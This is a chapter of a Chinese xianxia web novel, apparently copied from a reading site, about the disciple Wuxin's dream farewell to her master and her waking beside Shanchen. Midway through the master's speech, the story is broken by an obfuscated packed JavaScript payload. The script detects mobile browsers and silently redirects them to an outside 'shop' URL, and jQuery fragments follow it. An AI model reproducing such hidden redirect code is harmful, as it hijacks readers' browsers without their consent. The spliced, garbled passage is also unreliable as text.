62. 终章三

作品:《无情道飞升,靠恋爱脑?

    远处昏黄的灯光有一搭没一搭地闪着,身侧传来布料摩擦的声音,无心紧紧攥着师父的手,颤巍巍地向前,每走一步,她都小声问道:“师父,什么时候才能到啊?”


    师父垂头看她,似是察觉到她累了,张开双臂,将无心抱入怀中。


    无心这才发现,自己不知何时变成了孩童模样,她伸手摸了摸自己还有些婴儿肥的脸蛋,诧异地看向师父。


    师父抱着她,在冗长的隧道里穿行,耳侧偶然划过几声呼唤,都被无心下意识地忽视了。


    不知走了多远,隧道的石板路延伸到尽头,侧边光线打进来,无心远远地看到前方两个模糊的人影。


    是正在与另一个小男孩缠斗的虚白,他将手里的砖头狠狠砸在那孩子头上,随后快速逃离现场。


    虚白朝着无心的方向奔来,直到身体渐渐变得透明,思念消散。


    无心清楚地看到,他边跑边哭,似乎在喃喃说着什么……


    好像是?对不起?


    无心嘴一撇,丝毫不领情。


    若愧疚能抹杀罪恶,那要天道做什么?


    无心刚想抬头问师父这是什么,却见师父神色如常,好似早就知晓般,低声道:“不在这里吗?”


    “师父?”


    仙君笑着看向无心:“师父在找你大师兄,可惜他好像不在这里。”


    “找大师兄做什么?”


    不仅是身体的退化,无心的行为也越来越像小孩子,她下意识咬着手指,将指甲在嘴里翻来覆去地啃。


    仙君如往常一样,抓住她不老实的手,笑眯眯道:“乖,不啃手了,等下给你买点心吃。”


    “好耶!”


    “那什么时候买点心,什么时候买点心……”


    她揪着师父的领子撒娇,全然没注意师父越走越远。


    “等师父找到师兄,把他带走,就有点心吃了。”


    仙君的声音仍旧温柔,在空旷的荒原上格外清晰。


    无心这才发现周围环境的变化,可窝在师父怀中,她提不起丝毫警惕,抱着师父的脖子,开心地打量周围。


    “去哪里?回玄天宗吗?我要吃山脚下的枣泥酥。”


    仙君愣了一下,轻轻拍了拍她的后背,安抚道:“不是说好了吗,无心陪着我去找师兄,之后要自己回去哦。”


    “不要,不要!”无心将头埋在师父肩膀上,两节胳膊牢牢粘在他脖子上,“无心要和师父一起,无心可以和大师兄好好相处,不要不要……”


    “无心会乖的。”


    “无心再也不背后骂大师兄了。”


    仙君哑然笑出声,打趣道:“你骂他什么了?嗯?”


    无心似乎有些不好意思,圆滚滚的脸蛋涨得通红:“我是实话实说嘛……”


    仙君笑着捏了捏她的鼻子,将人往上抱了下,继续向前走。


    “有秘密啊……唉,无心是大姑娘了,师父老了,无心不愿意跟师父说了。”


    仙君的语调很长,伴随着踩在枯草上的沙沙声,将身后诡异的天色拉得越来越长。


    “啊!”


    无心没有注意到周围环境的变化,拼命解释:“不是的,我没有。”


    “我想跟师父说的,我有很多事情都想跟师父说的……”


    而后无心猛地停住,为什么,为什么她感觉,自己好久都没和师父说过话了呢?


    真的是,太久了呢,明明,明明有很多话想说……


    还没等她反应过来,虚白的身影便出现在一座石壁前,他靠着残缺的石块,视线穿过无心的方向,望着远处的天空出神。


    “师父你看,师父你看……”


    “就是这个,高高在上的样子,很讨厌啊!”


    “谁同他说话,他都不回应,像哑巴。”


    “而且他很笨,他笨笨的!”


    无心在仙君怀中张牙舞爪地比画。


    “特别好骗,之前我们在市集,有人拿低阶的冰晶草骗他,说什么可以养神,他真的拿了一百灵石去买。”


    “又笨,又不听人讲话。”


    仙君忽然想到,有些日子他总是无法入定,后来虚白说给他换了个好用的香料……


    怪不得,那些日子总是莫名其妙地后背发凉……


    仙君露出和无心一样恨铁不成钢的表情,附和道:“确实。”


    “每天就知道抱着他那个破剑,讨厌死了。”无心絮絮叨叨说了一大堆,忽然想到了什么,“师兄的,剑呢?”


    忽然,站在石壁旁的虚白猛地动了下,周身凝聚的护罩一下子散了气,看起来,功法又失败了。


    他似是极度懊悔,抬手狠狠往自己脸上扇去。


    而后将头狠狠往石壁上砸,血液将原本粗糙的石头染成暗红色,滴落在他身侧的本命佩剑上。


    无心远远地看着,大气不敢出。


    她想起来了,当时大师兄有了心魔,受其影响,本命仙剑不受控制。


    师父以自身精血为饵,将他的本命仙剑镇压在自己神海中。


    无心一肚子讨厌他的话都咽了回去。


    她当时虽佩服师父的胆大,可这样无异于让大师兄的修炼更加艰难。


    “师父……”


    无心有些慌张的看着仙君,似乎想从他这里得到些许答案。


    仙君看着远处的场景,良久,才重重叹了口气。


    这里已经是荒原的尽头,植被渐渐稀疏,连原先的枯草都不剩多少了,只剩下光秃秃的土地,在漫天风沙中沉默地低头。


    仙君抱着无心继续向前走:“不怪他,是我没教好。”


    无心中怔怔地看向师父,他原本轻松的神色染上一层她看不懂的情绪。


    “为师年轻时,自由散漫惯了……”


    “从未想过对什么人对什么事负责。”


    他在荒原的边缘停下脚步,看着脚下的黄沙变成一块块白玉长阶,一层一层,最终垒起一座座高楼。


    灯火在二人踏入的那一刻亮起,顺着飞檐勾勒出亭台楼阁的轮廓,直到远处祭坛的尽头。


    “是我的自负,耽误了他。”


    “即使在决定收他为弟子之后,我也从未搞懂该如何与他相处。”


    “以至于让他曲解了我的意思。”


    二人一步一步踏上台阶,越往前,血腥味便越重。


    厮杀声顺着风传入无心的耳朵,摇晃在她耳边,显得师父的声音那样不真切。


    “直到我发现不对,想要弥补……”


    “可始终无法开口,或许是所谓师尊的尊严,还是说……或许是对于一个从来都顺风顺水的人来说,承认错误是一件很难的事情。”


    “我的弥补行为,远远没有真情实感的道歉来得重要。”


    “以至于当我终于明白如何教导徒弟,用正确的方式待你们时


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314587|191486||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……”


    “原先那个残缺的老大,是应该伤心的……”


    他将无心轻轻放下,而后蹲下身,与她平视。


    “子不教,父之过。”


    “无心要明白,师父有必须承担的责任,和必须挽回的错误。”


    “不是这样的。”无心声音不大,却异常坚定,“师父已经,很厉害了。”


    仙君来到无心身后,不知从何处变出一节发带,将她散乱的头发理成漂亮的辫子。


    他经常为无心编头发,只是这次,编得格外慢些。


    “我们家无心是一个很优秀的人。”


    “收你为徒,并非为了你的特殊体质。”


    “只是觉得你在人群中格外鲜活。”


    “当时我心情烦闷,修炼到了瓶颈。”


    仙君放下辫子,将无心转了过来,四目相对,顺着台阶的反光,无心似乎看到了师父眼中闪烁的泪水。


    “然后你就出现了。”


    “若是没有你,为师断修炼不到第九重。”


    “你是为师的小福星。”


    “你永远是我最棒的徒弟。”


    “不要怪为师。”


    “不告诉你太虚之体……因为这是一个极端。”


    “成也萧何,败也萧何。”


    “我没必要将你推到台前,也没必要给你那么大的压力。”


    “说到底,还是为师太过自负。”


    仙君明明是笑着,落在无心眼中,却分外伤感。


    “总以为能护住你们,总以为只要我在,无论发生什么都没有关系。”


    无心彻底慌了神,她拉住师父的手,声音有些急切:“师父就是会在,师父一直都在,师父是最强的。”


    忽然,刺耳的刀剑声盖过了无心的话,一个人影远远从火光中被甩出,登的一声落在地上。


    无心这才发现,他们不知何时回到了百年前与烬魇的对战中。


    在法宝秘籍轮番上阵,心魔怪物与混沌魔气交织的一次次提醒中,无心才后知后觉。


    “师父当年,并没能杀死他。”


    “你不同,为师相信你,可以做到。”


    原来她一直以为的,可以陪在自己身边一辈子的人,也会突然离开。


    她急忙拉住朝前走的师父,近乎哀求道:“别去,师父……”


    仙君回身,笑容带着一如既往的和煦。


    “为师要去救你大师兄,剩下的路,要靠你一个人走了。”


    “去吧,还有人在等你。”


    扶光仙君的身影越来越远,而无心却被困在原地。


    儿时呼唤与当下的感受重叠,终究没能将师父留下。


    当眼前的景色渐渐消退,细密潮湿的小雨打在她的肩头,黏腻又阴冷,在心底最隐蔽的角落,淅淅沥沥。


    直到泪水从眼角滑落,无心才恍然抬手,用手背的阴影盖住了眼前的烛光。


    身上传来一阵阵刺骨的疼,伤口随着呼吸被撕扯开,牵动神经连连打战。


    无心微微睁眼,试探性地摸向床边,恰好碰到一个冰冷的手腕。


    她这才扭头,只见山尘呆滞坐在竹凳上,眼睛一眨不眨地盯着她。


    他虽是笑着,瞳孔却蒙了一层水雾,唇色苍白,显得摇摇欲坠,许是坐久了,束发有些松,连带整个人都露出疲态。


    四目相对,二人同时开口:“你……”